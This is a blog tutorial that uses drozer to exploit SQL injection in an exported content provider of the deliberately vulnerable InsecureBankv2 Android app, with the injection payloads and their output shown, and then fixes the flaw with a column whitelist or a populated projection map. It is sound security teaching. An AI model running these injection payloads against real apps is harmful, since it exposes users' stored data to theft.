Vulnerable Android Content Providers
This article is part of the series of blog posts about Android application security. In this series we try to learn Android application security by looking at one particular vulnerable application, identify vulnerabilities, and show how to fix them.
Prerequisites
- InsecureBankv2 installed on Android device or emulator
- Drozer agent installed on Android device or emulator
- Drozer console runs and connected to drozer agent
Getting information
Let’s use Drozer to determine content providers that InsecureBank application exports:
dz> run app.provider.info -a com.android.insecurebankv2
Package: com.android.insecurebankv2
Authority: com.android.insecurebankv2.TrackUserContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.android.insecurebankv2.TrackUserContentProvider
Multiprocess Allowed: False
Grant Uri Permissions: False
As seen from the above output, there is one content provider which is not protected by a permission. This means that any application on the same device can read and write to that provider. Let’s determine what data does the given provider deal with. Usually, content providers use either SQLite databases or files as an underneath data storage with which they operate. In case of an SQLite database, content providers may be vulnerable to SQL injection vulnerabilities. The next step going forward is to determine which URIs does the provider deal with. We can do this by inspecting a reversed engineered source code of an application, or by using a dedicated drozer command (in a real world scenario, we would probably do both just to be on the safe side):
dz> run app.provider.finduri com.android.insecurebankv2
Scanning com.android.insecurebankv2...
content://com.android.insecurebankv2.TrackUserContentProvider/
content://com.google.android.gms.games
content://com.android.insecurebankv2.TrackUserContentProvider
content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers/
content://com.google.android.gms.games/
Next, we need to find if drozer found actual URIs. So, let’s try queyring those URIs that deal with application:
dz> run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/
Unknown URI content://com.android.insecurebankv2.TrackUserContentProvider/
dz> run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
| id | name |
| 1 | dinesh |
We did not have luck with the first one, but we were able to successfully retrieve the content of content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
, which, apparently, shows us users that have used an application.
Exploit
Let’s determine now if that content provider is vulnerable to SQL injection. As specified in Android content providers documentation, when constructing a query, projection defines which columns should be returned. This is where we can try to inject control character '
to determine whether provider is vulnerable:
dz> run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers/* --projection "'"
unrecognized token: "' FROM names ORDER BY name" (code 1): , while compiling: SELECT ' FROM names ORDER BY name
As you can see, '
token was used when constructing our query and that resulted in a SQL error. This means that our input was passed to SQL unsanitized. Now, let’s try to determine if we can actually determine the structure of a database by constructing more elaborate injection:
dz> run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers/* --projection "* from sqlite_master --"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT) |
| table | names | names | 4 | CREATE TABLE names (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL) |
| table | sqlite_sequence | sqlite_sequence | 5 | CREATE TABLE sqlite_sequence(name,seq) |
In the above attack we used string * from sqlite_master --
effectively turning the query that was executed into SELECT * from sqlite_master
, which just gave us all tables in the underlying database.
As a side note, we will mention that drozer even has a dedicated command to execute similar type of an attack:
dz> run scanner.provider.sqltables -a content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
Accessible tables for uri content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers:
android_metadata
names
sqlite_sequence
Fix
Proper design should always start with a discussion whether there is a legitimate need to export a given content provider, and then, what would be proper permissions to protect it (Hint: Use signature permission to prevent other apps not developed by you from communicating with your app). But we already spent some time with the topic of permissions in one of the previous posts, so, let’s try to see how to avoid SQL injection per se.
When discussing the topic of SQL injection, it is almost customary to introduce a vulnerability by doing string concatenation. However, when we open a code of TrackUserContentProvider
, we will see that this is not the case:
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
SQLiteQueryBuilder qb = new SQLiteQueryBuilder();
qb.setTables(TABLE_NAME);
switch (uriMatcher.match(uri)) {
case uriCode:
qb.setProjectionMap(values);
break;
default:
throw new IllegalArgumentException("Unknown URI " + uri);
}
if (sortOrder == null || sortOrder == "") {
sortOrder = name;
}
Cursor c = qb.query(db, projection, selection, selectionArgs, null, null, sortOrder);
// ...
}
The developer used a class SQLiteQueryBuilder
from class library, and called query
method on it passing projection
parameter received from the caller. So, let’s look into the source code of this class. At the time when I checked (January 2017), the query
method had the following comment which indicated about protection against SQL injection in selection
parameter:
// Validate the user-supplied selection to detect syntactic anomalies
// in the selection string that could indicate a SQL injection attempt.
So, there is a protection against injection in selection
parameter. But what about projection
parameter?! Turns out, more work is needed from the consumer of that API.
There seems to be two ways how to deal with it. The first way that comes into mind is to do a whitelisting of fields that we allow to query. After all, projection
parameter defines fields that may exist in the database, so, we can check whether the parameter contains legitimate fields before continuing with the query. Here is an example code one might add to the beginning of query
method:
HashSet<String> validProjections = new HashSet<>(Arrays.asList("id", "name"));
for (String p : projection) {
if (!validProjections.contains(p)) throw new IllegalArgumentException("Unknown projection: " + projection);
}
For our fix, we will choose another way by using setProjectionMap
method from SQLiteQueryBuilder
class. As stated in the documentation,
If a projection map is set it must contain all column names the user may request, even if the key and value are the same.
TrackUserContentProvider
already has a static values
HashMap that is being used in the following method call:
qb.setProjectionMap(values);
The problem is that values
HashMap is never populated. Let’s add to it two possible columns that can exist in table names
: id
and name
(Note, that since we don’t specify a mapping between user provided names and database names, we use the same strings for keys and values in the HashMap):
values = new HashMap<>();
values.put("id", "id");
values.put("name", "name");
When we recompile our application and send it to the device, we will see that SQL injection does not work anymore:
dz> run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers/ --projection "'"
Invalid column '
Summary
In this post we looked at exploiting SQL injection in unsecured content provider. We also showed how to fix this vulnerability either by introducing whitelisting or using a method from the framework.